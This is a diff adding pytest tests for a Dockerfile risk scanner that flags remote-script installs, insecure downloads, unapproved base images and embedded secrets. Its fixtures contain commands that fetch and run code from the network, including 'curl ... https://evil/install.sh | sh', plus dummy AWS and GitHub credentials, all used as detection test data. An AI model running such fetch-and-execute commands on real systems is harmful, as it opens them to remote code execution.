@@ -178,3 +178,185 @@ def test_check_tag_defaults_cv1_when_version_blank(tmp_path, monkeypatch):
178178 # version label blank is itself an error, but the tag still falls back to _cv1
179179 assert tag == "2.1.5-7-deb_cv1"
180180 assert ok is False
181+
182+
183+ # ---------------------------------------------------------------- risk scan
184+
185+ def _scan (tmp_path , body ):
186+ df = tmp_path / "Dockerfile"
187+ df .write_text (body )
188+ return validate .scan_dockerfile_risks (str (df ))
189+
190+
191+ def checklist_msgs (checklist ):
192+ return [c ["msg" ] for c in checklist ]
193+
194+
195+ def test_scan_flags_curl_pipe_shell (tmp_path ):
196+ # the phynest/#621 case
197+ secrets , checklist = _scan (
198+ tmp_path ,
199+ "FROM biocontainers/biocontainers:v1.0.0_cv5\n "
200+ "RUN curl -fsSL https://install.julialang.org | sh -s -- -y\n " )
201+ assert secrets == []
202+ assert any ("remote script" in c for c in checklist_msgs (checklist ))
203+
204+
205+ def test_scan_flags_wget_pipe_bash (tmp_path ):
206+ _ , checklist = _scan (tmp_path , "FROM biocontainers/x\n RUN wget -qO- http://x | bash\n " )
207+ msgs = checklist_msgs (checklist )
208+ assert any ("remote script" in m for m in msgs )
209+ assert any ("insecure `http://`" in m for m in msgs )
210+
211+
212+ def test_scan_flags_add_url_and_bare_ip (tmp_path ):
213+ _ , checklist = _scan (tmp_path , "FROM biocontainers/x\n ADD https://10.0.0.1/pkg.tar /tmp/\n " )
214+ msgs = checklist_msgs (checklist )
215+ assert any ("`ADD <url>`" in m for m in msgs )
216+ assert any ("bare IP" in m for m in msgs )
217+
218+
219+ def test_scan_flags_non_biocontainers_base (tmp_path ):
220+ _ , checklist = _scan (tmp_path , "FROM debian:stable-slim\n RUN echo hi\n " )
221+ assert any ("not an official `biocontainers/*`" in m for m in checklist_msgs (checklist ))
222+
223+
224+ def test_scan_accepts_quay_biocontainers_base (tmp_path ):
225+ _ , checklist = _scan (tmp_path , "FROM quay.io/biocontainers/samtools:1.19\n RUN echo hi\n " )
226+ assert not any ("not an official" in m for m in checklist_msgs (checklist ))
227+
228+
229+ def test_scan_flags_each_unapproved_stage_once (tmp_path ):
230+ # every non-biocontainers stage is surfaced; a repeated base is flagged only once
231+ _ , checklist = _scan (
232+ tmp_path ,
233+ "FROM golang:1.22 AS build\n RUN go build\n FROM golang:1.22\n RUN x\n "
234+ "FROM alpine\n COPY --from=build /x /x\n " )
235+ base_flags = [m for m in checklist_msgs (checklist ) if "not an official" in m ]
236+ assert len (base_flags ) == 2 # golang:1.22 (deduped) + alpine
237+
238+
239+ def test_scan_ignores_comments (tmp_path ):
240+ secrets , checklist = _scan (
241+ tmp_path ,
242+ "FROM biocontainers/x\n # RUN curl http://evil | sh (this is a comment)\n RUN echo ok\n " )
243+ assert secrets == []
244+ assert checklist == []
245+
246+
247+ def test_scan_blocks_aws_key (tmp_path ):
248+ secrets , _ = _scan (
249+ tmp_path , "FROM biocontainers/x\n ENV KEY=AKIAIOSFODNN7EXAMPLE\n " )
250+ assert any ("AWS access key" in s ["msg" ] for s in secrets )
251+
252+
253+ def test_scan_blocks_private_key (tmp_path ):
254+ secrets , _ = _scan (
255+ tmp_path , "FROM biocontainers/x\n RUN echo '-----BEGIN OPENSSH PRIVATE KEY-----'\n " )
256+ assert any ("private key" in s ["msg" ] for s in secrets )
257+
258+
259+ def test_scan_credential_heuristic_does_not_echo_value (tmp_path ):
260+ # advisory only, and the matched line must NOT be echoed (no snippet leak)
261+ secrets , checklist = _scan (
262+ tmp_path , "FROM biocontainers/x\n ENV DB_PASSWORD=hunter2secret\n " )
263+ assert secrets == []
264+ cred = [c for c in checklist if "embed a credential" in c ["msg" ]]
265+ assert cred and cred [0 ]["snippet" ] == ""
266+
267+
268+ def test_scan_http_in_label_is_not_a_download (tmp_path ):
269+ # a homepage URL in a LABEL must NOT be flagged as an insecure download
270+ _ , checklist = _scan (
271+ tmp_path ,
272+ 'FROM biocontainers/x\n LABEL about.home="http://example.org"\n RUN echo ok\n ' )
273+ assert not any ("insecure `http://`" in m for m in checklist_msgs (checklist ))
274+
275+
276+ def test_scan_catches_split_curl_pipe_shell (tmp_path ):
277+ # backslash continuation must not let `curl … | sh` evade the scan
278+ _ , checklist = _scan (
279+ tmp_path ,
280+ "FROM biocontainers/x\n RUN curl -fsSL https://x.sh \\ \n | sh\n " )
281+ assert any ("remote script" in m for m in checklist_msgs (checklist ))
282+
283+
284+ def test_scan_secret_line_snippet_not_echoed (tmp_path ):
285+ # a line that trips BOTH a secret rule and curl|sh must be blocked AND must not
286+ # echo the token into the checklist snippet (Codex high finding)
287+ token = "ghp_" + "abcdefghijklmnopqrstuvwxyz0123456789" # 36 chars after ghp_
288+ secrets , checklist = _scan (
289+ tmp_path ,
290+ "FROM biocontainers/x\n RUN curl -H 'Authorization: %s' https://x | sh\n " % token )
291+ assert any ("GitHub personal access token" in s ["msg" ] for s in secrets )
292+ remote = [c for c in checklist if "remote script" in c ["msg" ]]
293+ assert remote and remote [0 ]["snippet" ] == "" # no token leak
294+
295+
296+ def test_scan_env_space_form_aws_secret_blocks (tmp_path ):
297+ # `ENV KEY value` (no '=') is valid Dockerfile syntax and must not bypass the scan
298+ secrets , _ = _scan (
299+ tmp_path , "FROM biocontainers/x\n ENV AWS_SECRET_ACCESS_KEY %s\n " % ("A" * 40 ))
300+ assert any ("AWS secret access key" in s ["msg" ] for s in secrets )
301+
302+
303+ def test_scan_env_space_form_password_advisory (tmp_path ):
304+ _ , checklist = _scan (
305+ tmp_path , "FROM biocontainers/x\n ENV DB_PASSWORD hunter2secretvalue\n " )
306+ assert any ("embed a credential" in m for m in checklist_msgs (checklist ))
307+
308+
309+ def test_scan_catches_heredoc_curl_pipe_shell (tmp_path ):
310+ _ , checklist = _scan (
311+ tmp_path ,
312+ "FROM biocontainers/x\n RUN <<EOF\n curl -fsSL https://evil/install.sh | sh\n EOF\n " )
313+ assert any ("remote script" in m for m in checklist_msgs (checklist ))
314+
315+
316+ def test_scan_from_platform_flag_not_misparsed (tmp_path ):
317+ _ , checklist = _scan (
318+ tmp_path ,
319+ "FROM --platform=linux/amd64 biocontainers/biocontainers:v1\n RUN echo ok\n " )
320+ assert not any ("not an official" in m for m in checklist_msgs (checklist ))
321+
322+
323+ def test_scan_flags_non_biocontainers_final_stage (tmp_path ):
324+ _ , checklist = _scan (
325+ tmp_path ,
326+ "FROM biocontainers/biocontainers:v1 AS build\n RUN make\n "
327+ "FROM debian:stable-slim\n COPY --from=build /x /x\n " )
328+ flags = [m for m in checklist_msgs (checklist ) if "not an official" in m ]
329+ assert flags and any ("debian" in m for m in flags )
330+
331+
332+ def test_scan_from_stage_reference_not_flagged (tmp_path ):
333+ _ , checklist = _scan (
334+ tmp_path ,
335+ "FROM biocontainers/biocontainers:v1 AS base\n RUN x\n FROM base\n RUN y\n " )
336+ assert not any ("not an official" in m for m in checklist_msgs (checklist ))
337+
338+
339+ def test_scan_clean_dockerfile_no_findings (tmp_path ):
340+ secrets , checklist = _scan (
341+ tmp_path ,
342+ "FROM biocontainers/biocontainers:v1.2.0_cv1\n "
343+ "RUN apt-get update && apt-get install -y samtools\n " )
344+ assert secrets == []
345+ assert checklist == []
346+
347+
348+ def test_cmd_detect_populates_review_checklist (tmp_path ):
349+ (tmp_path / "tool" / "1" ).mkdir (parents = True )
350+ (tmp_path / "tool" / "1" / "Dockerfile" ).write_text (
351+ "FROM biocontainers/x\n RUN curl -fsSL https://x.sh | sh\n " )
352+ out = tmp_path / "report.json"
353+ (tmp_path / "cf.txt" ).write_text ("tool/1/Dockerfile\n " )
354+ import argparse
355+ import json as _json
356+ args = argparse .Namespace (
357+ changed_files = str (tmp_path / "cf.txt" ), workdir = str (tmp_path ), out = str (out ))
358+ rc = validate .cmd_detect (args )
359+ report = _json .loads (out .read_text ())
360+ assert rc == 0
361+ assert report ["ok" ] is True # advisory, does not fail the build
362+ assert any ("remote script" in c for c in report ["review_checklist" ])
0 commit comments